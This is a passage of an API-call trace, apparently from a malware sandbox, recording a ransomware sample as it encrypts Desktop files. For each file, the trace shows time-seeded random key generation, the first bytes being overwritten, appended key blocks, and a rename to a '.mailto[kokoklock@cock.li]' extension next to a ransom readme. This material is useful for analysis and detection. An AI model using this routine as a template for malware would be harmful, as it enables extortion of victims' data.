BaseAddress=0x3422fa0) returned 1 [0070.385] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0070.385] WriteFile (in: hFile=0x470, lpBuffer=0x3422e60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1383fac0, lpOverlapped=0x0 | out: lpBuffer=0x3422e60*, lpNumberOfBytesWritten=0x1383fac0*=0x8, lpOverlapped=0x0) returned 1 [0070.385] WriteFile (in: hFile=0x470, lpBuffer=0x1383fad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1383fac0, lpOverlapped=0x0 | out: lpBuffer=0x1383fad8*, lpNumberOfBytesWritten=0x1383fac0*=0x4, lpOverlapped=0x0) returned 1 [0070.385] WriteFile (in: hFile=0x470, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1383fac0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1383fac0*=0x4, lpOverlapped=0x0) returned 1 [0070.385] WriteFile (in: hFile=0x470, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1383fac0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1383fac0*=0x6c, lpOverlapped=0x0) returned 1 [0070.385] WriteFile (in: hFile=0x470, lpBuffer=0x3422e10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1383fac0, lpOverlapped=0x0 | out: lpBuffer=0x3422e10*, lpNumberOfBytesWritten=0x1383fac0*=0x20, lpOverlapped=0x0) returned 1 [0070.385] WriteFile (in: hFile=0x470, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1383fac0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1383fac0*=0x4, lpOverlapped=0x0) returned 1 [0070.385] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0070.385] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cd0) returned 1 [0070.385] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e60) returned 1 [0070.385] CloseHandle (hObject=0x470) returned 1 [0070.933] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x88) returned 0x33e29f0 [0070.933] wcscpy (in: _Dest=0x33e29f0, _Source="C:\\Users\\FD1HVy\\Desktop\\x1HTUM.wav" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\x1HTUM.wav") returned="C:\\Users\\FD1HVy\\Desktop\\x1HTUM.wav" [0070.933] wcscat (in: _Dest=0x33e29f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\x1HTUM.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\x1HTUM.wav.mailto[kokoklock@cock.li].d0e731" [0070.933] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\x1HTUM.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\x1htum.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\x1HTUM.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\x1htum.wav.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.943] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\x1HTUM.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.944] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e29f0) returned 1 [0070.944] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\x1HTUM.wav", dwFileAttributes=0x20) returned 0 [0070.944] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fc40 [0070.944] wcscpy (in: _Dest=0x347fc40, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.944] wcscat (in: _Dest=0x347fc40, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.944] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.944] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc40) returned 1 [0070.944] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481668) returned 1 [0070.944] RtlExitUserThread (Status=0x1) Thread: id = 470 os_tid = 0x12f0 [0070.389] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Yz9r_tGr_l-kxrL.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\yz9r_tgr_l-kxrl.avi")) returned 0x20 [0070.389] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Yz9r_tGr_l-kxrL.avi", dwFileAttributes=0x20) returned 1 [0070.389] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Yz9r_tGr_l-kxrL.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\yz9r_tgr_l-kxrl.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0070.389] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x138bf7dc | out: lpFileSize=0x138bf7dc*=62097) returned 1 [0070.389] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0xf28d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.389] ReadFile (in: hFile=0x470, lpBuffer=0x138bf7b0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x138bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x138bf7b0*, lpNumberOfBytesRead=0x138bf7ac*=0x4, lpOverlapped=0x0) returned 1 [0070.389] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.390] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0070.390] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0070.390] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422ac8 [0070.390] NtQuerySystemTime (in: CurrentTime=0x138bf788 | out: CurrentTime=0x138bf788*=132121176282754413) returned 0x0 [0070.390] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0x34ff19ad [0070.390] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0xc55b5c70 [0070.390] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0x9062abd2 [0070.390] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0xa2131282 [0070.390] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0xc6866322 [0070.390] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0xd52d2e5b [0070.390] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0x1f7947e3 [0070.390] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0x633575a1 [0070.390] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0x81f15c29 [0070.390] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0x46ac1384 [0070.390] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0xca25bedd [0070.390] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0x9d5632d2 [0070.390] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0x9710685e [0070.390] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0xae04755f [0070.390] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0x289d4931 [0070.390] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0xe1bd2080 [0070.390] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0x40b25f65 [0070.390] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0x3449b4c3 [0070.390] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0xe744d7a7 [0070.390] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0x52084fc2 [0070.390] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0x63c6bf5a [0070.390] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0x650296a4 [0070.390] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0x5a55c213 [0070.390] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0xac3f9524 [0070.390] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0xce1b9410 [0070.391] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0x3b4f7774 [0070.391] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0xd880134c [0070.391] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0xaaf62f72 [0070.391] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0xed9d41d7 [0070.391] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0x5a4ae471 [0070.391] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0x8dfe63e0 [0070.391] RtlRandom (in: Seed=0x138bf794 | out: Seed=0x138bf794) returned 0x28379fed [0070.401] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.401] ReadFile (in: hFile=0x470, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x138bf760, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x138bf760*=0x4096, lpOverlapped=0x0) returned 1 [0070.402] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.402] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0070.402] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0070.402] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422d98 [0070.402] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422d98) returned 1 [0070.402] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e228 [0070.402] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0070.402] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cf8 [0070.402] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cf8) returned 1 [0070.402] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0070.402] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0070.403] WriteFile (in: hFile=0x470, lpBuffer=0x348e228*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x138bf760, lpOverlapped=0x0 | out: lpBuffer=0x348e228*, lpNumberOfBytesWritten=0x138bf760*=0x4096, lpOverlapped=0x0) returned 1 [0070.403] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e228) returned 1 [0070.403] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0xf291, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.403] WriteFile (in: hFile=0x470, lpBuffer=0x3422fa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x138bf798, lpOverlapped=0x0 | out: lpBuffer=0x3422fa0*, lpNumberOfBytesWritten=0x138bf798*=0x20, lpOverlapped=0x0) returned 1 [0070.403] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422fa0) returned 1 [0070.403] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0070.403] WriteFile (in: hFile=0x470, lpBuffer=0x3422e60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x138bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3422e60*, lpNumberOfBytesWritten=0x138bf7ac*=0x8, lpOverlapped=0x0) returned 1 [0070.403] WriteFile (in: hFile=0x470, lpBuffer=0x138bf7c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x138bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x138bf7c4*, lpNumberOfBytesWritten=0x138bf7ac*=0x4, lpOverlapped=0x0) returned 1 [0070.403] WriteFile (in: hFile=0x470, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x138bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x138bf7ac*=0x4, lpOverlapped=0x0) returned 1 [0070.403] WriteFile (in: hFile=0x470, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x138bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x138bf7ac*=0x6c, lpOverlapped=0x0) returned 1 [0070.403] WriteFile (in: hFile=0x470, lpBuffer=0x3422e10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x138bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3422e10*, lpNumberOfBytesWritten=0x138bf7ac*=0x20, lpOverlapped=0x0) returned 1 [0070.403] WriteFile (in: hFile=0x470, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x138bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x138bf7ac*=0x4, lpOverlapped=0x0) returned 1 [0070.403] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0070.404] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cd0) returned 1 [0070.404] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e60) returned 1 [0070.404] CloseHandle (hObject=0x470) returned 1 [0070.933] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33f0710 [0070.933] wcscpy (in: _Dest=0x33f0710, _Source="C:\\Users\\FD1HVy\\Desktop\\Yz9r_tGr_l-kxrL.avi" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\Yz9r_tGr_l-kxrL.avi") returned="C:\\Users\\FD1HVy\\Desktop\\Yz9r_tGr_l-kxrL.avi" [0070.933] wcscat (in: _Dest=0x33f0710, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\Yz9r_tGr_l-kxrL.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\Yz9r_tGr_l-kxrL.avi.mailto[kokoklock@cock.li].d0e731" [0070.933] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\Yz9r_tGr_l-kxrL.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\yz9r_tgr_l-kxrl.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\Yz9r_tGr_l-kxrL.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\yz9r_tgr_l-kxrl.avi.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.942] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Yz9r_tGr_l-kxrL.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.942] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0710) returned 1 [0070.942] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Yz9r_tGr_l-kxrL.avi", dwFileAttributes=0x20) returned 0 [0070.942] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x3480480 [0070.942] wcscpy (in: _Dest=0x3480480, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.942] wcscat (in: _Dest=0x3480480, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.942] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.942] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480480) returned 1 [0070.942] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482038) returned 1 [0070.942] RtlExitUserThread (Status=0x1) Thread: id = 471 os_tid = 0x12f4 [0070.410] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\zo7BErW.xlsx" (normalized: "c:\\users\\fd1hvy\\desktop\\zo7berw.xlsx")) returned 0x20 [0070.410] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\zo7BErW.xlsx", dwFileAttributes=0x20) returned 1 [0070.410] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\zo7BErW.xlsx" (normalized: "c:\\users\\fd1hvy\\desktop\\zo7berw.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0070.410] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x1393fec8 | out: lpFileSize=0x1393fec8*=74781) returned 1 [0070.410] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x12419, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.410] ReadFile (in: hFile=0x470, lpBuffer=0x1393fe9c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1393fe98, lpOverlapped=0x0 | out: lpBuffer=0x1393fe9c*, lpNumberOfBytesRead=0x1393fe98*=0x4, lpOverlapped=0x0) returned 1 [0070.410] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.410] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0070.411] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0070.411] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422af0 [0070.411] NtQuerySystemTime (in: CurrentTime=0x1393fe74 | out: CurrentTime=0x1393fe74*=132121176283088135) returned 0x0 [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0xe1bf79c0 [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0x8766f9b6 [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0x7f4521ed [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0xe2efc267 [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0x739e9d15 [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0x3aeb35e4 [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0x1e92b95a [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0xb8c028fe [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0xe690dea6 [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0x7f89313e [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0xefe4460d [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0xa4bb8be5 [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0x5401f821 [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0xd58c2911 [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0x30facd07 [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0x3ca73e97 [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0xb93561b8 [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0x2c868c29 [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0x5baf97e [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0x9b0f2753 [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0x44b9083 [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0xa9adfd20 [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0xe3e63a53 [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0xf9679ed4 [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0xd6ea4627 [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0xec1235fe [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0x40e6fbe4 [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0xd1345ffd [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0x508d3bb2 [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0x6fc3180f [0070.411] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0xde45a27 [0070.412] RtlRandom (in: Seed=0x1393fe80 | out: Seed=0x1393fe80) returned 0x6ba58387 [0070.422] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.422] ReadFile (in: hFile=0x470, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1393fe4c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1393fe4c*=0x4096, lpOverlapped=0x0) returned 1 [0070.422] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.422] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0070.422] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0070.422] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422d98 [0070.423] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422d98) returned 1 [0070.423] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e228 [0070.423] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0070.423] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cf8 [0070.423] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cf8) returned 1 [0070.423] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0070.423] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0070.423] WriteFile (in: hFile=0x470, lpBuffer=0x348e228*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1393fe4c, lpOverlapped=0x0 | out: lpBuffer=0x348e228*, lpNumberOfBytesWritten=0x1393fe4c*=0x4096, lpOverlapped=0x0) returned 1 [0070.423] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e228) returned 1 [0070.423] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x1241d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.424] WriteFile (in: hFile=0x470, lpBuffer=0x3422fa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1393fe84, lpOverlapped=0x0 | out: lpBuffer=0x3422fa0*, lpNumberOfBytesWritten=0x1393fe84*=0x20, lpOverlapped=0x0) returned 1 [0070.424] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422fa0) returned 1 [0070.424] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0070.424] WriteFile (in: hFile=0x470, lpBuffer=0x3422e60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1393fe98, lpOverlapped=0x0 | out: lpBuffer=0x3422e60*, lpNumberOfBytesWritten=0x1393fe98*=0x8, lpOverlapped=0x0) returned 1 [0070.424] WriteFile (in: hFile=0x470, lpBuffer=0x1393feb0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1393fe98, lpOverlapped=0x0 | out: lpBuffer=0x1393feb0*, lpNumberOfBytesWritten=0x1393fe98*=0x4, lpOverlapped=0x0) returned 1 [0070.424] WriteFile (in: hFile=0x470, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1393fe98, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1393fe98*=0x4, lpOverlapped=0x0) returned 1 [0070.424] WriteFile (in: hFile=0x470, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1393fe98, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1393fe98*=0x6c, lpOverlapped=0x0) returned 1 [0070.424] WriteFile (in: hFile=0x470, lpBuffer=0x3422e10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1393fe98, lpOverlapped=0x0 | out: lpBuffer=0x3422e10*, lpNumberOfBytesWritten=0x1393fe98*=0x20, lpOverlapped=0x0) returned 1 [0070.424] WriteFile (in: hFile=0x470, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1393fe98, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1393fe98*=0x4, lpOverlapped=0x0) returned 1 [0070.424] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0070.424] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cd0) returned 1 [0070.424] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e60) returned 1 [0070.424] CloseHandle (hObject=0x470) returned 1 [0070.934] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x347c620 [0070.935] wcscpy (in: _Dest=0x347c620, _Source="C:\\Users\\FD1HVy\\Desktop\\zo7BErW.xlsx" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\zo7BErW.xlsx") returned="C:\\Users\\FD1HVy\\Desktop\\zo7BErW.xlsx" [0070.935] wcscat (in: _Dest=0x347c620, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\zo7BErW.xlsx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\zo7BErW.xlsx.mailto[kokoklock@cock.li].d0e731" [0070.935] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\zo7BErW.xlsx" (normalized: "c:\\users\\fd1hvy\\desktop\\zo7berw.xlsx"), 